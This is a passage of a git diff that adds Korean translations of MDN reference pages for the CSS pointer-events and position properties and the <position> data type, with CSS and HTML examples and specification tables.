+<h2 id="설명">설명</h2>
+
+<p>SVG 콘텐츠에 <code>pointer-events</code>를 지정하지 않은 경우, <code>visiblePainted</code> 값과 동일한 방법을 사용합니다.</p>
+
+<p><code>none</code> 값의 경우 요소가 포인터 이벤트의 대상이 아님을 가리키는 동시에, 이벤트가 요소를 "뚫고" 들어가 "아래" 요소를 대상으로 하도록 만듭니다.</p>
+
+<p>다만, <code>pointer-events</code>를 사용해 요소가 포인터 이벤트의 대상이 되지 않도록 지정한다 하여도, 요소의 이벤트 수신기가 절대 발동하지 않거나, 아예 발동할 수 없는 상태가 되는 것은 아닙니다. 만약 자식 요소 중 하나의 <code>pointer-events</code>를 명시적으로 허용한 경우, 해당 자식을 대상으로 하는 이벤트는 평범하게 부모 트리를 타고 올라가며, 그 도중에 부모의 이벤트 수신기를 발동시게 됩니다. 물론, 부모 요소가 덮고 있지만 (포인터 이벤트를 허용한) 자식 요소 바깥의 영역은 클릭해도 부모와 자식 둘 다 감지하지 못합니다.</p>
+
+<p><code>pointer-events: none</code>을 지정한 요소여도 <kbd>Tab</kbd> 키를 사용한 순차적 키보드 내비게이션으로 인해 포커스를 획득할 수 있습니다.</p>
+
+<p>We would like to provide finer grained control (than just <code>auto</code> and <code>none</code>) in HTML for which parts of an element will cause it to "catch" pointer events, and when. To help us in deciding how <code>pointer-events</code> should be further extended for HTML, if you have any particular things that you would like to be able to do with this property, then please add them to the Use Cases section of <a class="link-https" href="https://wiki.mozilla.org/SVG:pointer-events">this wiki page</a> (don't worry about keeping it tidy).</p>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문_2">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<p>다음 예제는 모든 이미지에서 포인터 이벤트(클릭, 드래그, 호버 등)를 비활성화합니다.</p>
+
+<pre class="brush:css notranslate">img {
+  pointer-events: none;
+}</pre>
+
+<h3 id="링크_비활성화하기">링크 비활성화하기</h3>
+
+<p>다음 예제는 https://example.com으로 통하는 링크의 포인터 이벤트를 비활성화합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html notranslate">&lt;ul&gt;
+  &lt;li&gt;&lt;a href="https://developer.mozilla.org"&gt;MDN&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="http://example.com"&gt;example.com&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css notranslate">a[href="http://example.com"] {
+  pointer-events: none;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<div>{{EmbedLiveSample("링크_비활성화하기", "500", "100")}}</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'interact.html#PointerEventsProperty', 'pointer-events')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'interact.html#PointerEventsProperty', 'pointer-events')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Its extension to HTML elements, though present in early drafts of CSS Basic User Interface Module Level 3, has been pushed to its <a class="external" href="http://wiki.csswg.org/spec/css4-ui#pointer-events">level 4</a>.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.pointer-events")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>The SVG attribute {{SVGAttr("pointer-events")}}</li>
+ <li>The SVG attribute {{SVGAttr("visibility")}}</li>
+ <li><a class="external" href="http://webkit.org/specs/PointerEventsProperty.html">WebKit Specs PointerEventsProperty</a> extended for use in (X)HTML content</li>
+ <li>{{cssxref("user-select")}} - controls whether the user can select text</li>
+</ul>
diff --git a/files/ko/web/css/position/index.html b/files/ko/web/css/position/index.html
new file mode 100644
index 0000000000..ce23867543
--- /dev/null
+++ b/files/ko/web/css/position/index.html
@@ -0,0 +1,316 @@
+---
+title: position
+slug: Web/CSS/position
+tags:
+  - CSS
+  - CSS Positioninng
+  - CSS Property
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/position
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>position</code></strong> 속성은 문서 상에 요소를 배치하는 방법을 지정합니다. {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, {{cssxref("left")}} 속성이 요소를 배치할 최종 위치를 결정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/position.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<p><code>position</code> 속성은 아래의 목록에서 하나의 키워드 값을 선택해 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>static</code></dt>
+ <dd>요소를 일반적인 문서 흐름에 따라 배치합니다. {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, {{cssxref("z-index")}} 속성이 <u>아무런</u> 영향도 주지 않습니다. 기본값입니다.</dd>
+ <dt><code>relative</code></dt>
+ <dd>요소를 일반적인 문서 흐름에 따라 배치하고, <u>자기 자신</u>을 기준으로 <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code>의 값에 따라 오프셋을 적용합니다. 오프셋은 다른 요소에는 영향을 주지 않습니다. 따라서 페이지 레이아웃에서 요소가 차지하는 공간은 <code>static</code>일 때와 같습니다.</dd>
+ <dd>{{cssxref("z-index")}}의 값이 <code>auto</code>가 아니라면 새로운 <a href="/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락</a>을 생성합니다. <code>table-*-group</code>, <code>table-row</code>, <code>table-column</code>, <code>table-cell</code>, <code>table-caption</code> 요소에 적용했을 때의 작동 방식은 정의되지 않았습니다.</dd>
+ <dt><code>absolute</code></dt>
+ <dd>요소를 일반적인 문서 흐름에서 제거하고, 페이지 레이아웃에 공간도 배정하지 않습니다. 대신 가장 가까운 위치 지정 조상 요소에 대해 상대적으로 배치합니다. 단, 조상 중 위치 지정 요소가 없다면 초기 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a>을 기준으로 삼습니다. 최종 위치는 <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code> 값이 지정합니다.</dd>
+ <dd>{{cssxref("z-index")}}의 값이 <code>auto</code>가 아니라면 새로운 <a href="/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락</a>을 생성합니다. 절대 위치 지정 요소의 바깥 여백은 서로 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">상쇄</a>되지 않습니다.</dd>
+ <dt><code>fixed</code></dt>
+ <dd>요소를 일반적인 문서 흐름에서 제거하고, 페이지 레이아웃에 공간도 배정하지 않습니다. 대신 {{glossary("viewport", "뷰포트")}}의 초기 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a>을 기준으로 삼아 배치합니다. 단, 요소의 조상 중 하나가 <code>transform</code>, <code>perspective</code>, <code>filter</code> 속성 중 어느 하나라도 <code>none</code>이 아니라면 (<a href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms 명세</a> 참조) 뷰포트 대신 그 조상을 컨테이닝 블록으로 삼습니다. (<code>perspective</code>와 <code>filter</code>의 경우 브라우저별로 결과가 다름에 유의) 최종 위치는 <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code> 값이 지정합니다.</dd>
+ <dd>이 값은 항상 새로운 <a href="/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락</a>을 생성합니다. 문서를 인쇄할 때는 해당 요소가 <u>모든 페이지</u>의 같은 위치에 출력됩니다.</dd>
+ <dt><code>sticky</code></dt>
+ <dd>요소를 일반적인 문서 흐름에 따라 배치하고, 테이블 관련 요소를 포함해 <u>가장 가까운, 스크롤 되는 조상</u>과, 표 관련 요소를 포함한 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a>(가장 가까운 블록 레벨 조상) 을 기준으로 <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code>의 값에 따라 오프셋을 적용합니다. 오프셋은 다른 요소에는 영향을 주지 않습니다.</dd>
+ <dd>이 값은 항상 새로운 <a href="/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락</a>을 생성합니다. 끈끈한 요소는 "스크롤 동작"(<code>overflow</code>가 <code>hidden</code>, <code>scroll</code>, <code>auto</code> 혹은 <code>overlay</code>)이 존재하는 가장 가까운 조상에 달라붙으며, 사실 그 조상은 스크롤 불가하며 실제로 스크롤 가능한 조상이 따로 존재할 경우 "끈끈한" 동작을 보이지 않는 점에 주의하세요. (<a href="https://github.com/w3c/csswg-drafts/issues/865">W3C CSSWG의 Github 이슈</a> 참조)</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<h3 id="배치_유형">배치 유형</h3>
+
+<ul>
+ <li><strong>위치 지정 요소</strong>란 <code>position</code>의 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>이 <code>relative</code>, <code>absolute</code>, <code>fixed</code>, <code>sticky</code> 중 하나인 요소입니다. 즉, 값이 <code>static</code>이 아닌 모든 요소를 말합니다.</li>
+ <li><strong>상대 위치 지정 요소</strong>는<code>position</code>의 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>이 <code>relative</code>인 요소입니다. {{cssxref("top")}}과 {{cssxref("bottom")}}은 원래 위치에서의 세로축 거리를, {{cssxref("left")}}와 {{cssxref("right")}}은 원래 위치에서의 가로축 거리를 지정합니다.</li>
+ <li><strong>절대 위치 지정 요소</strong>는<code>position</code>의 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>이 <code>absolute</code> 또는 <code>fixed</code>인 요소입니다.{{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, {{cssxref("left")}}는 요소의 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a>(위치의 기준점이 되는 조상 요소) 모서리로부터의 거리를 지정합니다. 요소가 바깥 여백을 가진다면 거리에 더합니다. 절대 위치 지정 요소는 새로운 <a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">블록 서식 맥락</a>을 생성합니다.</li>
+ <li><strong>끈끈한 위치 지정 요소</strong>는 <code>position</code>의 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>이 <code>sticky</code>인 요소입니다. 평소에는 상대 위치 지정 요소로 처리하지만, <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a>이 자신의 플로우 루트(또는, 스크롤 컨테이너)에서 지정한 임계값({{cssxref("top")}} 등으로 지정)을 넘으면 마치 <code>fixed</code>처럼 화면에 고정합니다. 고정 상태는 컨테이닝 블록의 반대편 모서리를 만나면 해제됩니다.</li>
+</ul>
+
+<p>대부분의 경우, {{cssxref("height")}}와 {{cssxref("width")}}가 <code>auto</code>로 지정된 절대 위치 지정 요소는 자신의 콘텐츠에 맞춰 크기가 바뀝니다. 반면 <a href="/ko/docs/Web/CSS/Replaced_element">비대체</a> 절대 위치 지정 요소는 {{Cssxref("top")}}과 {{Cssxref("bottom")}}을 지정하고 {{Cssxref("height")}}는 지정하지 않으면 (즉, <code>auto</code>로 두면) 사용 가능한 수직 공간을 가득 채웁니다. 마찬가지로 {{Cssxref("left")}}와 {{Cssxref("right")}}을 지정하고, {{Cssxref("width")}}는 <code>auto</code>로 두면 사용 가능한 수평 공간을 가득 채웁니다.</p>
+
+<p>위에서 설명한 경우(공간을 꽉 채우는 경우)가 아니라면 다음 규칙을 따릅니다.</p>
+
+<ul>
+ <li><code>top</code>과 <code>bottom</code>을 지정한 경우(<code>auto</code>가 아닌 경우), <code>top</code>이 우선 적용됩니다.</li>
+ <li><code>left</code>와 <code>right</code>를 지정한 경우, {{Cssxref("direction")}}이 <code>ltr</code>(영어, 한국어 등)이면 <code>left</code>를 우선 적용하고,<font face="Open Sans, arial, sans-serif"> </font>{{Cssxref("direction")}}이 <code>rtl</code>(페르시아어, 아랍어, 히브리어 등)이면 <code>right</code>를 우선 적용합니다.</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">접근성 고려사항</h2>
+
+<p>화면을 확대해서 텍스트가 크게 보이게 했을 때 <code>absolute</code>나 <code>fixed</code>로 배치된 요소가 내용을 가리지 않도록 주의해야 합니다.</p>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener">Visual Presentation: Understanding SC 1.4.8 | Understanding WCAG 2.0</a></li>
+</ul>
+
+<h3 id="성능_및_접근성_문제">성능 및 접근성 문제</h3>
+
+<p><code>fixed</code>나 <code>sticky</code>를 포함하는 스크롤 요소가 성능 및 접근성 문제를 유발할 수 있습니다. 브라우저는 사용자가 스크롤을 할 때마다 끈끈하거나 고정인 요소를 새로운 위치에 페인트 해야 하는데, 표시해야 되는 내용의 양, 브라우저 및 기기의 성능에 따라 60 <abbr title="frames per second">fps</abbr>를 유지하지 못해 일부 민감한 사용자에게는 접근성 문제가, 다른 모두에게는 사용자 경험 악화가 생깁니다. 이 문제의 해결책 중 하나는 {{cssxref("will-change", "will-change: transform")}}을 추가하여 요소를 자신만의 레이어에서 렌더링 하여 페인트 속도를 향상하고, 나아가 성능과 접근성을 높일 수 있습니다.</p>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="상대_위치_지정">상대 위치 지정</h3>
+
+<p>상대적으로 배치된 요소는 문서 내에서 정상적인(normal) 위치에서 주어진 오프셋만큼 떨어지지만, 다른 요소에는 영향을 주지 않습니다. 아래 예제에서는 다른 요소들이 "Two"가 원래 위치에 있는 것처럼 배치되는 것을 확인할 수 있습니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="box" id="one"&gt;One&lt;/div&gt;
+&lt;div class="box" id="two"&gt;Two&lt;/div&gt;
+&lt;div class="box" id="three"&gt;Three&lt;/div&gt;
+&lt;div class="box" id="four"&gt;Four&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.box {
+  display: inline-block;
+  width: 100px;
+  height: 100px;
+  background: red;
+  color: white;
+}
+
+#two {
+  position: relative;
+  top: 20px;
+  left: 20px;
+  background: blue;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('상대_위치_지정', '600px', '200px') }}</p>
+
+<h3 id="절대_위치_지정">절대 위치 지정</h3>
+
+<p>상대적으로 배치된 요소가 일반적인 문서 흐름에 따르는 것과 달리, 절대적으로 배치된 요소는 흐름에서 제거됩니다. 따라서 다른 요소는 그 요소가 존재하지 않는 것처럼 배치됩니다. 절대적으로 배치된 요소는 <em>가장 가까운 위치 지정 조상</em>(즉, <code>static</code>이 아닌 가장 가까운 조상)을 기준으로 배치됩니다. 그런 요소가 존재하지 않는다면, 초기 컨테이닝 블록이 기준이 됩니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="box" id="one"&gt;One&lt;/div&gt;
+&lt;div class="box" id="two"&gt;Two&lt;/div&gt;
+&lt;div class="box" id="three"&gt;Three&lt;/div&gt;
+&lt;div class="box" id="four"&gt;Four&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">.box {
+  display: inline-block;
+  width: 100px;
+  height: 100px;
+  background: red;
+  color: white;
+}
+
+#two {
+  position: absolute;
+  top: 20px;
+  left: 20px;
+  background: blue;
+}</pre>
+
+<p>{{ EmbedLiveSample('절대_위치_지정', '800px', '200px') }}</p>
+
+<h3 id="고정_위치_지정">고정 위치 지정</h3>
+
+<p>고정 위치 지정은 절대 위치 지정과 비슷하지만, <code>fixed</code>는 요소의 컨테이닝 블록이 <em>뷰포트</em>의 초기 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a>이라는 점에서 다릅니다(<code>transform</code>, <code>perspective</code>, <code>filter</code> 속성이 <code>none</code>이 아닌 조상이 있다면 그 조상이 컨테이닝 블록이 됩니다. <a href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a> 참조). 따라서 스크롤에 관계 없이 화면의 특정 지점에 고정되는, "떠다니는"(floating) 요소를 생성할 수 있습니다. 아래 예제에서, "One" 상자는 페이지 위에서 80픽셀, 왼쪽에서 10픽셀 떨어진 위치에 고정됩니다. 스크롤을 하더라도, 뷰포트를 기준으로 같은 위치에 고정된 채로 유지됩니다.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="outer"&gt;
+  &lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
+    Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nam ac dolor augue.
+    Pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.
+    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi.
+    Duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim. Sed velit augue, pretium a sem aliquam, congue porttitor tortor.
+    Sed tempor nisl a lorem consequat, id maximus erat aliquet. Sed sagittis porta libero sed condimentum.
+    Aliquam finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus.
+  &lt;/p&gt;
+  &lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
+    Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nam ac dolor augue.
+    Pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.
+    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi.
+    Duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim. Sed velit augue, pretium a sem aliquam, congue porttitor tortor.
+    Sed tempor nisl a lorem consequat, id maximus erat aliquet. Sed sagittis porta libero sed condimentum.
+    Aliquam finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus.
+  &lt;/p&gt;
+  &lt;div class="box" id="one"&gt;One&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css notranslate">.box {
+  width: 100px;
+  height: 100px;
+  background: red;
+  color: white;
+}
+
+#one {
+  position: fixed;
+  top: 80px;
+  left: 10px;
+  background: blue;
+}
+
+.outer {
+  width: 500px;
+  height: 300px;
+  overflow: scroll;
+  padding-left: 150px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('고정_위치_지정', '800px', '300px') }}</p>
+
+<h3 id="끈끈한_위치_지정">끈끈한 위치 지정</h3>
+
+<p>끈끈한 위치 지정은 상대와 고정 위치 지정을 합친 것으로 생각할 수 있습니다. 끈끈하게 배치된 요소는 상대적으로 배치된 요소로 취급하지만, 주어진 경계선을 지나면 고정 위치를 갖게 됩니다. 예를 들어,</p>
+
+<pre class="brush: css notranslate">#one { position: sticky; top: 10px; }</pre>
+
+<p>이때 id가 one인 요소는 그 위치가 위에서 10픽셀 떨어진 위치까지는 상대적으로 배치되지만, 그 경계를 넘어가면 위에서 10픽셀 떨어진 위치에 고정됩니다.</p>
+
+<p>끈끈한 위치 지정은 흔히 사전순 리스트의 레이블에 사용할 수 있습니다. 예를 들어, "ㄴ" 레이블은 "ㄱ"으로 시작하는 목록이 화면 밖으로 나갈 때까지는 그 바로 밑에 표시되고, 그 다음에는 "ㄱ"을 따라 화면 밖으로 나가는 대신 화면 위에 고정시킬 수 있습니다. 그러다가 "ㄴ" 목록이 화면 바깥으로 나가면 그 자리에 "ㄷ" 레이블을 고정시킬 수 있습니다.</p>
+
+<p>끈끈한 위치 지정이 의도한 대로 동작하게 하려면 <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code> 중 적어도 하나의 임계값을 설정해야 합니다. 임계값을 설정하지 않으면 상대 위치 지정과 다를 바가 없습니다.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;dl&gt;
+  &lt;div&gt;
+    &lt;dt&gt;A&lt;/dt&gt;
+    &lt;dd&gt;Andrew W.K.&lt;/dd&gt;
+    &lt;dd&gt;Apparat&lt;/dd&gt;
+    &lt;dd&gt;Arcade Fire&lt;/dd&gt;
+    &lt;dd&gt;At The Drive-In&lt;/dd&gt;
+    &lt;dd&gt;Aziz Ansari&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;C&lt;/dt&gt;
+    &lt;dd&gt;Chromeo&lt;/dd&gt;
+    &lt;dd&gt;Common&lt;/dd&gt;
+    &lt;dd&gt;Converge&lt;/dd&gt;
+    &lt;dd&gt;Crystal Castles&lt;/dd&gt;
+    &lt;dd&gt;Cursive&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;E&lt;/dt&gt;
+    &lt;dd&gt;Explosions In The Sky&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;T&lt;/dt&gt;
+    &lt;dd&gt;Ted Leo &amp;amp; The Pharmacists&lt;/dd&gt;
+    &lt;dd&gt;T-Pain&lt;/dd&gt;
+    &lt;dd&gt;Thrice&lt;/dd&gt;
+    &lt;dd&gt;TV On The Radio&lt;/dd&gt;
+    &lt;dd&gt;Two Gallants&lt;/dd&gt;
+  &lt;/div&gt;
+&lt;/dl&gt;
+</pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css notranslate">* {
+  box-sizing: border-box;
+}
+
+dl &gt; div {
+  background: #FFF;
+  padding: 24px 0 0 0;
+}
+
+dt {
+  background: #B8C1C8;
+  border-bottom: 1px solid #989EA4;
+  border-top: 1px solid #717D85;
+  color: #FFF;
+  font: bold 18px/21px Helvetica, Arial, sans-serif;
+  margin: 0;
+  padding: 2px 0 0 12px;
+  position: -webkit-sticky;
+  position: sticky;
+  top: -1px;
+}
+
+dd {
+  font: bold 20px/45px Helvetica, Arial, sans-serif;
+  margin: 0;
+  padding: 0 0 0 12px;
+  white-space: nowrap;
+}
+
+dd + dd {
+  border-top: 1px solid #CCC;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('끈끈한_위치_지정', '500px', '300px') }}</p>
+
+<ul>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#propdef-position', 'position')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Positioning','#position-property','position')}}</td>
+   <td>{{Spec2('CSS3 Positioning')}}</td>
+   <td><code>sticky</code> 속성 값 추가</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("css.properties.position")}}</div>
diff --git a/files/ko/web/css/position_value/index.html b/files/ko/web/css/position_value/index.html
new file mode 100644
index 0000000000..7e03f38e2f
--- /dev/null
+++ b/files/ko/web/css/position_value/index.html
@@ -0,0 +1,135 @@
+---
+title: <position>
+slug: Web/CSS/position_value
+tags:
+  - CSS
+  - CSS Data Type
+  - Layout
+  - Reference
+  - Web
+translation_of: Web/CSS/position_value
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>&lt;position&gt;</code></strong> (또는 <strong><code>&lt;bg-position&gt;</code></strong>) <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 요소 박스에 대한 상대 좌표를 나타내는 2차원 좌표입니다. {{cssxref("background-position")}}, {{cssxref("offset-anchor")}} 속성에서 사용합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>&lt;position&gt;</code> 값이 설명하는 최종 위치가 요소 박스 내에 위치해야 할 필요는 없습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12215/position_type.png" style="float: left; height: 230px; width: 362px;"><code>&lt;position&gt;</code> 자료형은 하나 혹은 두 개의 키워드와 함께 선택적인 오프셋을 사용해 지정합니다.</p>
+
+<p>키워드에는 <code>center</code>, <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code>가 있으며, 각각 요소 박스의 해당하는 방향 모서리 또는 마주보는 두 모서리의 가운데 지점을 의미합니다. 맥락에 따라, <code>center</code>는 좌우 모서리의 중간점일 수도 있고, 상하 모서리의 중간점일 수도 있습니다.</p>
+
+<p>오프셋은 상대적인 {{cssxref("&lt;percentage&gt;")}} 값 또는 절대적인 {{cssxref("&lt;length&gt;")}} 값으로 지정할 수 있습니다. 양수는 오른쪽과 아래쪽 중 적합한 방향으로 이동하며, 음수는 그 반대입니다.</p>
+
+<p>하나의 오프셋 값만 지정할 경우 x 좌표를 정의하는 것이며, 다른 축의 값은 기본값으로 <code>center</code>를 사용합니다.</p>
+
+<pre class="brush:css notranslate">/* 1-value syntax */
+<var>keyword</var>                  /* Either the horizontal or vertical position; the other axis defaults to center */
+<var>value</var>                    /* The position on the x-axis; the y-axis defaults to 50% */
+
+/* 2-value syntax */
+<var>keyword</var> <var>keyword</var>          /* A keyword for each direction (the order is irrelevant) */
+<var>keyword</var> <var>value</var>            /* A keyword for horizontal position, value for vertical position */
+<var>value</var> <var>keyword</var>            /* A value for horizontal position, keyword for vertical position */
+<var>value</var> <var>value</var>              /* A value for each direction (horizontal then vertical) */
+
+/* 4-value syntax */
+<var>keyword</var> <var>value</var> <var>keyword</var> <var>value</var> /* Each value is an offset from the keyword that preceeds it */
+</pre>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox notranslate">[
+ [ left | center | right ] || [ top | center | bottom ]
+|
+ [ left | center | right | &lt;length&gt; | &lt;percentage&gt; ]
+ [ top | center | bottom | &lt;length&gt; | &lt;percentage&gt; ]?
+|
+ [ [ left | right ] [ &lt;length&gt; | &lt;percentage&gt; ] ] &amp;&amp;
+ [ [ top | bottom ] [ &lt;length&gt; | &lt;percentage&gt; ] ]
+]
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: {{cssxref("background-position")}} 속성은 세 값 구문도 허용하나, <code>&lt;position&gt;</code>을 사용하는 다른 속성에서는 허용하지 않습니다.</p>
+</div>
+
+<h2 id="보간">보간</h2>
+
+<p>애니메이션에서 점의 가로 값과 세로 값은 각각 따로 보간됩니다. 그러나 두 좌표 모두에 대한 보간 속도는 하나의 <a href="/ko/docs/Web/CSS/single-transition-timing-function">타이밍 함수</a>가 결정하므로, 점은 직선을 따라 이동하게 됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="유효한_위치">유효한 위치</h3>
+
+<pre class="notranslate">center
+left
+center top
+
+right 8.5%
+bottom 12vmin right -6px
+
+10% 20%
+8rem 14px
+</pre>
+
+<h3 id="유효하지_않은_위치">유효하지 않은 위치</h3>
+
+<pre class="example-bad notranslate">left right
+bottom top
+10px 15px 20px 15px
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#position', '&lt;position&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Relists links to both definitions: if {{SpecName('CSS3 Backgrounds')}} is supported, its definition of <code>&lt;position&gt;</code> must also be used.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#typedef-bg-position', '&lt;bg-position&gt;')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Defines <code>&lt;position&gt;</code> explicitly and extends it to support offsets from any edge.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-position', '&lt;position&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Allows combination of a keyword with a {{cssxref("&lt;length&gt;")}} or {{cssxref("&lt;percentage&gt;")}} value.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-position', '&lt;position&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Defines <code>&lt;position&gt;</code> anonymously as the value of {{cssxref("background-position")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
